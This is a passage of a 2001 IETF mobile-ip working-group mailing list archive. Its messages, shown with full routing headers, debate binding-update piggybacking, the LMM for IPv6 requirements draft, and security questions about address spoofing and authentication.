Thread-Index: AcFx8vc4iIstzd3lEdWBUABQi2X+DwAArX/w
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
From: "Patil Basavaraj (NET/Dallas)" <Basavaraj.Patil@nokia.com>
To: "Weshphal Cedric (IPRG/MtView)" <cedric@iprg.nokia.com>
Cc: <mobile-ip@sunroof.eng.sun.com>
X-OriginalArrivalTime: 20 Nov 2001 19:05:11.0354 (UTC) FILETIME=[473391A0:01C171F6]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fAKJ5cLS003012
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

Cedric,

The tone of this email was not warranted. Please refrain
from sending inflammatory emails to the list. The WG
discussion list is for technical discussions only. I keep
having to emphasize this every so often, that it is getting
quite repetitive.

-Basavaraj


> -----Original Message-----
> From: ext Cedric Westphal 
> Sent: Tuesday, November 20, 2001 12:38 PM
> To: mobile-ip@sunroof.eng.sun.com
> Subject: Re: [mobile-ip] more about piggybacking.
> 
> 
> Mike,
> 
> please read the document before you comment the teaser.
> Your mom  never told you not to judge a movie by its trailer?
> 
> Cedric.
> 
> Michael Thomas wrote:
> 
> > Cedric Westphal writes:
> >  > Hi,
> >  >
> >  > there was an intense debate a couple weeks ago over the merits of
> >  > piggybacking. So we put together a little bit of 
> analysis to bring the
> >  > discussion on less intuitive and more mathematical grounds.
> >  >
> >  > The outcome of it is dual:
> >  > - The percentage improvement in bandwidth utilization is 
> typically
> >  >    small.
> >  > - The percentage improvement in jitter during handover 
> is typically
> >  >    large - actually, very large.
> >
> >    The problem here is that for things that are
> >    jitter sensitive, binding updates piggybacked
> >    or not are going to be inadequate in all but
> >    the most contrived laboratory settings. Speed
> >    of light, etc, mean that you need FMIP for fast
> >    convergence of the move, thus taking the long
> >    haul binding update out of the critical path.
> 
> That's not the point of the debate we had. I thought you 
> participated...
> 
> >
> >
> >  > This basically says that piggybacking will not allow a 
> provider to squeeze
> >  > more people on the same link, but that by not having 
> piggybacking, the
> >  > user gets a significantly worst QoS.
> >
> >    This presupposes that:
> >
> >    1) jitter is important across the board
> >    2) that piggybacking is the only impediment
> >       to getting jitter sensitive traffic
> >       delivered within the proper bounds.
> >
> >    Neither of these are true.
> 
> 1) Right, jitter is not important in a VoIP call. Have you 
> heard of real time
> applications? Duh.
> 2) Says who? YOU ONLY decided to add ONLY in presupposition 
> 2). Of course,
> pb is not the ONLY impediment. Piggybacking is not the 
> solution to ALL problems.
> Now, if you use piggybacking, you ALWAYS get an improvement 
> for jitter sensitive
> traffic. Because other factors in the network will add jitter 
> as well, does this
> mean that
> you should not use piggybacking. It's like saying: don't wear 
> a seatbelt, as it
> is _not_ the _only_ implement
> (oh my god, where did you fish 'impediment': piggyback does 
> not obstruct timely
> delivery
> of jitter sensitive traffic, au contraire, mon frere) 
> preventing death is car
> crashes.
> 
> Neither of your point makes any sense.
> 
> Cedric.
> 
> >
> >
> >            Mike
> 


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 15:10:45 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA02698
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 15:10:45 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA25151;
	Tue, 20 Nov 2001 12:08:45 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA14456;
	Tue, 20 Nov 2001 12:08:21 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKK7SLS003207
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 12:07:28 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKK7SF3003206
	for mobile-ip-dist; Tue, 20 Nov 2001 12:07:28 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKK7OLS003199
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 12:07:24 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA04848
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 12:07:22 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA29371
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 12:07:22 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id MAA19693;
	Tue, 20 Nov 2001 12:07:19 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAKK7JP28868;
	Tue, 20 Nov 2001 12:07:19 -0800
X-mProtect:  Tue, 20 Nov 2001 12:07:19 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.141.130, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdGMfKUZ; Tue, 20 Nov 2001 12:07:17 PST
Message-ID: <3BFAB7F5.A4F2B40E@iprg.nokia.com>
Date: Tue, 20 Nov 2001 12:07:17 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Bilgic, Murat" <Murat.Bilgic@voicestream.com>,
        mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] more about piggybacking.
References: <80DEC17E75FCD41188BD00508BF7D42D70BEA0@wanewporms04.gsm1900.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Murat,

"Bilgic, Murat" wrote:

> Cedric,
>
> What's the assumption behind having a single link?

piggybacking is usually considered for the last hop, the last link between
the network and a mobile user. That's why we consider only this link. We
considered the saved bandwidth on this (single) link, as it is also the
bandwidth
constrained link. We considered the delay created on this link.
The assumption is here that it gives you a lower bound on the jitter, as more
delay is already added in the network.

>
> What's the delay tolerance of the BU?

This is not for me to answer, I do not know.

>
> What is the impediment against having an on-demand link for BU only,
> especially since all the factors you cite will reduce the amount of BU
> traffic?

I don't think there is any, besides some implementation complexity.
Thanks,

cedric.

>
>
> Thanks,
>
> Murat
>
> -----Original Message-----
> From: Cedric Westphal [mailto:cedric@iprg.nokia.com]
> Sent: Monday, November 19, 2001 4:03 PM
> To: mobile-ip@sunroof.eng.sun.com
> Subject: [mobile-ip] more about piggybacking.
>
> Hi,
>
> there was an intense debate a couple weeks ago over the merits of
> piggybacking. So we put together a little bit of analysis to bring the
> discussion on less intuitive and more mathematical grounds.
>
> The outcome of it is dual:
> - The percentage improvement in bandwidth utilization is typically
>    small.
> - The percentage improvement in jitter during handover is typically
>    large - actually, very large.
>
> This basically says that piggybacking will not allow a provider to squeeze
> more people on the same link, but that by not having piggybacking, the
> user gets a significantly worst QoS.
>
> The details will be available very soon at:
> people.nokia.net/~rajeev/piggyback.ps
>
> Cheers,
>
> Cedric.



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 15:37:23 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA03983
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 15:37:22 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA29717;
	Tue, 20 Nov 2001 13:36:26 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA20104;
	Tue, 20 Nov 2001 12:36:24 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKKZ9LS003398
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 12:35:09 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAKKZ9mA003397
	for mobile-ip-dist; Tue, 20 Nov 2001 12:35:09 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAKKZ5LS003390
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 12:35:05 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA10742
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 12:35:07 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA15021
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 12:35:06 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fAKKZ5E17273;
	Tue, 20 Nov 2001 12:35:06 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAJ29628;
	Tue, 20 Nov 2001 12:34:30 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA22518; Tue, 20 Nov 2001 12:35:05 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15354.48760.936471.942299@thomasm-u1.cisco.com>
Date: Tue, 20 Nov 2001 12:35:04 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Cc: "Cedric Westphal" <cedric@iprg.nokia.com>,
        <Hesham.Soliman@era.ericsson.se>, <t.pagtzis@cs.ucl.ac.uk>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
In-Reply-To: <00f201c171eb$e5d1f500$0e02320a@T23KEMPF>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C055@Esealnt861.al.sw.ericsson.se>
	<3BF54E78.FD49E8C0@iprg.nokia.com>
	<0f4a01c1719e$0f63ba50$686015ac@docomocarl>
	<00f201c171eb$e5d1f500$0e02320a@T23KEMPF>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

James Kempf writes:
 > This requirement should stress that the authentication must be the same
 > as authentication for routers. I believe Hesham's comment was that
 > strong authentication implied that IPSEC must be used, and I don't think
 > that is the intention. The trust relationship between an LMM agent and
 > the MN must be at the same level as the trust relationship between the
 > MN and, for example, the access router. This is clearly a different
 > trust relationship between the MN and the CN, but it need not be
 > required to be constructed with IKE or use IPSEC (on the other hand, it
 > may in fact be).

If there were a truly middle ground between the
expectation of localization with the MN/HA
relationship, and the any-any relationship of
MN/CN, this seems like it. The MN/LMM MAY have the
same localization properties as MN/HA, but then
again, maybe it doesn't. For example, what about
the situation where somebody's providing mobile
access gratis? Does there need to be strong
authentication? Admittedly the mobile node uses
this access provider at their own peril if they
aren't authenticated, but that may be a reasonable
assumption in many cases, just like I probably
don't worry too much about the identity of a
provider so long as I've taken reasonable
precaution while I'm on a foreign network.

I wish I had an easy answer here, but this seems
to be an ease of use vs. security tradeoff. I
guess that I'm pretty skeptical that mandating
heavy authentication subsystems of whatever
variety you care to envision is a desirable
outcome; it seems pretty heavy handed, but it's
not without its own set of problems.

	    Mike


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 19:15:38 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12184
	for <mobileip-archive@lists.ietf.org>; Tue, 20 Nov 2001 19:15:38 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA06910;
	Tue, 20 Nov 2001 17:14:20 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA28507;
	Tue, 20 Nov 2001 16:14:05 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL0DBLS003730
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 16:13:11 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAL0DAWF003729
	for mobile-ip-dist; Tue, 20 Nov 2001 16:13:10 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL0D6LS003722
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 16:13:06 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA28245
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 16:13:07 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA02487
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 16:13:07 -0800 (PST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAL0D6511205;
	Tue, 20 Nov 2001 16:13:06 -0800 (PST)
Message-ID: <020301c17221$115b06f0$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>, "Cedric Westphal" <cedric@iprg.nokia.com>,
        <Hesham.Soliman@era.ericsson.se>, <t.pagtzis@cs.ucl.ac.uk>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C055@Esealnt861.al.sw.ericsson.se> <3BF54E78.FD49E8C0@iprg.nokia.com> <0f4a01c1719e$0f63ba50$686015ac@docomocarl> <00f201c171eb$e5d1f500$0e02320a@T23KEMPF> <0f8701c171f2$c905a820$686015ac@docomocarl>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Tue, 20 Nov 2001 16:11:29 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Carl,

> > 1) It still could be interpreted as excluding standard Mobile IPv6.
I
> > think all reference to fast handover as opposed to handover at all
> > should be deleted.
> >
>
> James,  I don't see that in the requirement.  The only mention of Fast
> handofff
> is in the title (which I can change to Supprt for Handover In IPv6").
>

The first paragraph also talks about "quickly moving," implying
fast handover. I'd suggest removing the first paragraph.
>
> > 2) The second and third paragraphs are in contradiction. The second
> > paragraph says that LMM and handover must be separately deployable,
but
> > the third says that optimization is allowed. This still prohibits a
> > solution in which LMM and handover are combined.
> >
>
> No.  This is not what this says.  Please read carefully:
>

Here is what the second paragraph says:

    LMM and any standardized Mobile IPv6
    handover algorithm  MUST BE able to be deployed independently
    of each other.

So please explain to me how an LMM solution that leverages
a handover protocol could be separately deployed from
the handover protocol?

                jak



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 19:15:48 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12197
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 19:15:48 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA24455;
	Tue, 20 Nov 2001 16:14:25 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA28501;
	Tue, 20 Nov 2001 16:14:01 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL0D0LS003720
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 16:13:00 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAL0D0JS003719
	for mobile-ip-dist; Tue, 20 Nov 2001 16:13:00 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL0CuLS003712
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 16:12:56 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA11139
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 16:12:58 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA06629
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 17:13:12 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fAL0Cu829464;
	Tue, 20 Nov 2001 16:12:56 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAJ35878;
	Tue, 20 Nov 2001 16:12:18 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA22573; Tue, 20 Nov 2001 16:12:53 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15354.61829.483708.530209@thomasm-u1.cisco.com>
Date: Tue, 20 Nov 2001 16:12:53 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Cc: "Pekka Savola" <pekkas@netcore.fi>, <tuomaura@microsoft.com>,
        <tuomaura@hotmail.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
In-Reply-To: <02fd01c17019$865b2ca0$8a1b6e0a@arenanet.fi>
References: <Pine.LNX.4.33.0111180009140.1778-100000@netcore.fi>
	<02fd01c17019$865b2ca0$8a1b6e0a@arenanet.fi>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Jari Arkko writes:
 > > 3.1: about CAM.  The ACM paper is not available on the website so I can't
 > > check whether the issue was dealt with, and I may be confused. but I don't
 > > see how changing one's address to match your key will change anything
 > > about PKI.  The recipient of the packet still has to have the sender's key
 > > it can trust. That is, either end will have to obtain (via a directory or
 > > something) one key it knows that belongs to the other end.  This is one
 > > sorely missing piece of PKI.
 > 
 > CAM does not need any infrastructure! Your address is (partially)
 > a hash of your public key, and with the private key you prove you
 > "own" the address. The "proof" relates to the fact that it is hard
 > for anyone else to find another public key that would hash to the
 > same value.
 > 
 > Therefore, no PKI is needed. The sender just sends its public key,
 > the address is implicit in the packet in the HOA (or similar place),
 > and a signature by the private key verifies the CoA.

Jari,

I too have only managed to skim this, but what
prevents me from source spoofing an address for
which I've done keygen and signed? Is this a
threat? Also: this seems to imply that you
wouldn't be able to the normal MAC address (sorry,
I always forget its proper acronym) mechanism, or
any other well known formats. In particular, I'm a
little bit worried about not being able to be a
mobile node which responds to anycast addresses,
or perhaps a node which wants to remain anonymous,
yet still be able to do route optimization. Is
this feasible?

		Mike


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 19:39:37 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12730
	for <mobileip-archive@lists.ietf.org>; Tue, 20 Nov 2001 19:39:36 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA23468;
	Tue, 20 Nov 2001 17:38:19 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA04353;
	Tue, 20 Nov 2001 16:38:28 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL0baLS004017
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 16:37:36 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAL0bZKF004016
	for mobile-ip-dist; Tue, 20 Nov 2001 16:37:35 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL0bWLS004009
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 16:37:32 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA19603
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 16:37:34 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA22667
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 17:37:16 -0700 (MST)
Received: from docomocarl (dhcp104.docomo-usa.com [172.21.96.104])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAL0bV512321;
	Tue, 20 Nov 2001 16:37:31 -0800 (PST)
Message-ID: <119f01c17224$a5b77f60$686015ac@docomocarl>
From: "Carl Williams" <carlw@docomolabs-usa.com>
To: <Hesham.Soliman@era.ericsson.se>, <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] LMM Security Requirement
Date: Tue, 20 Nov 2001 16:37:06 -0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_119C_01C171E1.978683C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_119C_01C171E1.978683C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


Hi Hesham and working group,

Please review over the following text for changing the following=20
security requirement from:

3.2.6 Any LMM scheme MUST make use of a strong authentication mechanism
      to avoid a malicious MN from diverting traffic destined to a
      legitimate MN.  LMM SHOULD also ensure that the network be able
      to maintain topological confidentiality from visiting mobile
      nodes.  That is to say that the LMM scheme in use SHOULD NOT
      reveal the visited network's topology to the Mobile Node.


to the following:

3.2.6 An LMM scheme MUST provide support for security
at the level associated with routing. LMM SHOULD also ensure that the
network be able to maintain topological confidentiality from visiting
mobile nodes.  That is to say that the LMM scheme in use SHOULD NOT
reveal the visited network's topology to the Mobile Node.

Please send any issues with this by tomorrow's deadline.

Thanks....


------=_NextPart_000_119C_01C171E1.978683C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
